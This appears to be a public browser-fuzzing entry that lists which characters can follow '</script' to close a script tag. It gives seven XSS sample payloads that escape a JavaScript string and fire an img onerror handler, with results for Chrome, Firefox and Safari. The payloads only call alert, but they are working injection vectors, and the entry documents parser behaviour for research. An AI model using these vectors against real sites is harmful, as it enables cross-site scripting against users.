Characters Supported in </script> Tags
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7Covers the valid character set and syntax rules for closing script tags in HTML, including case sensitivity, spacing, and common parsing behaviors.
Created byghannu0x01
Created Feb 10, 2026
Updated Feb 10, 2026
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CategoryHTML Parsing
VisibilityPublic
TypeXSS
CharsetUTF-8
Template used:
<script>0x0D
a="</script$[chr]><img src=data: onerror=log($[i])>"0x0D
</script>Sample payloads
<script>0x0D
a="</script/><img src=data: onerror=alert(47)>"0x0D
</script><script>0x0D
a="</script ><img src=data: onerror=alert(32)>"0x0D
</script><script>0x0D
a="</script>><img src=data: onerror=alert(62)>"0x0D
</script><script>0x0D
a="</script0x0D><img src=data: onerror=alert(13)>"0x0D
</script><script>0x0D
a="</script0x09><img src=data: onerror=alert(9)>"0x0D
</script><script>0x0D
a="</script0x0C><img src=data: onerror=alert(12)>"0x0D
</script><script>0x0D
a="</script
><img src=data: onerror=alert(10)>"0x0D
</script>Fuzz results
Chrome 144.0.0.0 desktop Windows NT 10.0
Updated10 Feb 2026
Found 7 results
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Firefox 147.0 desktop macOS 10.15
Updated10 Feb 2026
Found 7 results
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Safari 26.2 mobile iOS 18.7
Updated10 Feb 2026
Found 7 results
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